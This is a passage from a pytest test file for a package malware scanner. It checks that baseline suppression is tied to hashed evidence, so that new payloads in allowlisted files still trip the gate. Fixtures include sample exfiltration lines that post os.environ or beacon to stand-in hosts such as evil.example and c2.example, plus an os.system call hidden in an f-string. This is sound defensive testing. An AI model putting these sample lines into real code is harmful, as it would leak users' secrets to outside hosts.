f2 = [f for f in sp.check_py_file(b2, "p/m.py", "p") if "large encoded blob" in f.check]
assert f1 and f2
assert "Blob: sha256:" in f1[0].evidence
assert sp._finding_key(f1[0]) != sp._finding_key(f2[0])
def test_openssl_key_combo_binds_key_evidence():
# openssl + embedded key with no network must bind the key, so a changed key
# reopens instead of riding the OpenSSL line alone.
o1 = 'import os\nos.system("openssl enc -aes-256-cbc -in d -out e")\nKEY = "-----BEGIN PRIVATE KEY-----A"\n'
o2 = 'import os\nos.system("openssl enc -aes-256-cbc -in d -out e")\nKEY = "-----BEGIN PRIVATE KEY-----B"\n'
g1 = [f for f in sp.check_py_file(o1, "p/o.py", "p") if "openssl encryption" in f.check]
g2 = [f for f in sp.check_py_file(o2, "p/o.py", "p") if "openssl encryption" in f.check]
assert g1 and g2
assert "Key:" in g1[0].evidence
assert sp._finding_key(g1[0]) != sp._finding_key(g2[0])
def test_anti_analysis_combo_binds_suspicious_side():
# The anti-analysis combo records the network/exec side, so a changed exfil
# endpoint reopens instead of riding the unchanged sleep/trace line.
old = "import time, requests\ntime.sleep(600)\nrequests.get('http://old.example')\n"
new = "import time, requests\ntime.sleep(600)\nrequests.get('http://evil.example/exfil')\n"
fo = [
f
for f in sp.check_py_file(old, "p/x.py", "p")
if f.check == "Anti-analysis/sandbox evasion + suspicious behavior"
]
fn = [
f
for f in sp.check_py_file(new, "p/x.py", "p")
if f.check == "Anti-analysis/sandbox evasion + suspicious behavior"
]
assert fo and fn
assert "Network:" in fo[0].evidence
assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
def test_dns_exfil_combo_binds_other_side():
# The DNS exfil combo records the co-occurring network side, so a changed
# endpoint reopens instead of riding the unchanged DNS line.
old = "import dns.resolver\ndns.resolver.resolve('x.old.com','TXT')\nrequests.get('http://old.example')\n"
new = "import dns.resolver\ndns.resolver.resolve('x.old.com','TXT')\nrequests.get('http://evil.example/x')\n"
fo = [
f
for f in sp.check_py_file(old, "p/d.py", "p")
if f.check == "DNS exfiltration / tunneling patterns"
]
fn = [
f
for f in sp.check_py_file(new, "p/d.py", "p")
if f.check == "DNS exfiltration / tunneling patterns"
]
assert fo and fn
assert sp._finding_key(fo[0]) != sp._finding_key(fn[0])
def test_large_js_bundle_finding_is_content_bound():
# A large benign JS bundle yields a HIGH carrying a content digest, not empty
# evidence: two different bundles in the same size bucket get different keys,
# so a malicious bundle cannot ride a baselined empty-evidence entry.
big_a = "var x = 1;\n" * 20000 # ~200 KB, benign
big_b = big_a + "var exfil = 2;\n" # different content, same size bucket
ja = [f for f in sp.check_js_file(big_a, "pkg/bundle.js", "pkg") if "JS bundle" in f.check]
jb = [f for f in sp.check_js_file(big_b, "pkg/bundle.js", "pkg") if "JS bundle" in f.check]
assert ja and jb, "large JS bundle must produce a finding"
assert ja[0].evidence.startswith("sha256:")
assert sp._finding_key(ja[0]) != sp._finding_key(jb[0])
def test_pth_large_blob_finding_is_content_bound():
# The .pth base64-blob evidence pins the full blob via a digest, so a payload
# that keeps the first 120 chars but changes the tail reopens the finding.
head = "A" * 120
a = [
f
for f in sp.check_pth_file("import os\n" + head + "B" * 200, "p/x.pth", "p")
if "base64-like blob" in f.check
]
b = [
f
for f in sp.check_pth_file("import os\n" + head + "C" * 200, "p/x.pth", "p")
if "base64-like blob" in f.check
]
assert a and b, "large .pth blob must produce a finding"
assert "sha256:" in a[0].evidence
assert sp._finding_key(a[0]) != sp._finding_key(b[0])
def test_pth_import_lines_record_all_not_first_five():
# All executable import lines are recorded, so swapping the sixth import for a
# malicious one (first five unchanged) still reopens the catch-all finding.
base = "".join(f"import mod{i}\n" for i in range(6))
swapped = "".join(f"import mod{i}\n" for i in range(5)) + "import evil\n"
fb = [f for f in sp.check_pth_file(base, "p/x.pth", "p") if "executable import line" in f.check]
fs = [
f for f in sp.check_pth_file(swapped, "p/x.pth", "p") if "executable import line" in f.check
]
assert fb and fs
assert sp._finding_key(fb[0]) != sp._finding_key(fs[0])
def test_load_baseline_warns_on_missing_evidence_hash(tmp_path, capsys):
# A legacy baseline predating evidence_hash still loads (hash recomputed) but
# must WARN so the maintainer regenerates rather than degrade silently.
import json
bl = tmp_path / "legacy.json"
bl.write_text(
json.dumps(
{
"version": 1,
"entries": [
{
"package": "p",
"file": "p/x.py",
"check": "c",
"severity": sp.CRITICAL,
"evidence": "L5: while True:",
}
],
}
)
)
keys = sp._load_baseline(str(bl))
assert keys # still loaded
assert "lack evidence_hash" in capsys.readouterr().err
def test_fstring_statement_is_not_blanked():
# A bare f-string evaluates at import, so it must stay scannable.
src = "f\"{__import__('os').system('id')}\"\n"
@ -417,11 +1178,17 @@ def test_comment_only_network_exec_not_flagged():
def test_baseline_suppresses_listed_but_not_new_check(tmp_path):
bl = tmp_path / "bl.json"
listed = _mk(sp.CRITICAL, "fastapi", "fastapi/routing.py", "C2 polling/beaconing loop detected")
listed = _mk(
sp.CRITICAL,
"fastapi",
"fastapi/routing.py",
"C2 polling/beaconing loop detected",
"L579: while True:",
)
sp._write_baseline(str(bl), [listed])
baseline = sp._load_baseline(str(bl))
# Same (package, basename, check) -> suppressed.
# Same (package, path, check, matched code) -> suppressed.
active, suppressed = sp._partition_baseline([listed], baseline)
assert suppressed == [listed] and active == []
@ -432,6 +1199,29 @@ def test_baseline_suppresses_listed_but_not_new_check(tmp_path):
active2, suppressed2 = sp._partition_baseline([new_kind], baseline)
assert active2 == [new_kind] and suppressed2 == []
# Same file + same check but CHANGED flagged code -> still active. A future
# malicious payload cannot ride a previously reviewed entry's suppression.
changed_code = _mk(
sp.CRITICAL,
"fastapi",
"fastapi/routing.py",
"C2 polling/beaconing loop detected",
"L579: while True: requests.get('http://c2.example/beacon')",
)
active3, suppressed3 = sp._partition_baseline([changed_code], baseline)
assert active3 == [changed_code] and suppressed3 == []
# A benign line shift of the SAME code stays suppressed (no version churn).
shifted = _mk(
sp.CRITICAL,
"fastapi",
"fastapi/routing.py",
"C2 polling/beaconing loop detected",
"L640: while True:",
)
active4, suppressed4 = sp._partition_baseline([shifted], baseline)
assert suppressed4 == [shifted] and active4 == []
def test_write_baseline_roundtrip_only_crit_high(tmp_path):
bl = tmp_path / "bl.json"
@ -451,6 +1241,72 @@ def test_load_baseline_missing_file_is_empty():
assert sp._load_baseline("/nonexistent/path/bl.json") == set()
def test_load_baseline_rejects_non_list_entries(tmp_path, capsys):
# A malformed baseline whose "entries" is not a list must warn and fail
# closed (empty), not raise TypeError when iterated.
import json
bl = tmp_path / "bad_entries.json"
bl.write_text(json.dumps({"version": 1, "entries": None}), encoding = "utf-8")
assert sp._load_baseline(str(bl)) == set()
assert "entries is not a list" in capsys.readouterr().err
def test_committed_baseline_suppresses_known_but_not_a_new_payload():
"""End-to-end against the shipped allowlist: a reviewed benign finding stays
suppressed, but a NEW malicious payload in the same baselined file/check is
not (closes the supply-chain bypass where a future botocore/utils.py payload
rode the existing CRITICAL entry)."""
import json
baseline_path = REPO_ROOT / "scripts" / "scan_packages_baseline.json"
entries = json.loads(baseline_path.read_text())["entries"]
target = next(
e
for e in entries
if e["package"] == "botocore"
and e["file"] == "botocore/utils.py"
and e["check"] == "Harvests environment variables/secrets AND makes network calls"
)
baseline = sp._load_baseline(str(baseline_path))
# The exact reviewed finding is suppressed.
benign = _mk(
target["severity"], target["package"], target["file"], target["check"], target["evidence"]
)
active, suppressed = sp._partition_baseline([benign], baseline)
assert suppressed == [benign] and active == []
# A future malicious version: same file, same check, new exfil code. Must
# remain ACTIVE so the enforcing gate (exit 1) still trips.
malicious = _mk(
target["severity"],
target["package"],
target["file"],
target["check"],
"Env: L417: env = os.environ.copy()\nNetwork: requests.post('https://evil.example/exfil', data=env)",
)
active2, suppressed2 = sp._partition_baseline([malicious], baseline)
assert active2 == [malicious] and suppressed2 == []
def test_committed_baseline_entries_all_carry_evidence_hash():
"""Every shipped entry must pin an evidence_hash; an entry without one would
silently fall back to the coarse legacy match for that file/check."""
import json
baseline_path = REPO_ROOT / "scripts" / "scan_packages_baseline.json"
entries = json.loads(baseline_path.read_text())["entries"]
assert entries, "committed baseline should not be empty"
missing = [
f"{e['package']}:{e['file']}:{e['check']}" for e in entries if not e.get("evidence_hash")
]
assert not missing, f"entries missing evidence_hash: {missing[:5]}"
# And each pinned hash matches a recompute from the stored evidence.
for e in entries:
assert e["evidence_hash"] == sp._evidence_hash(e["evidence"]), e["file"]
# sdist fallback: cover sdist-only packages without building. All offline
# -- PyPI JSON / download are mocked.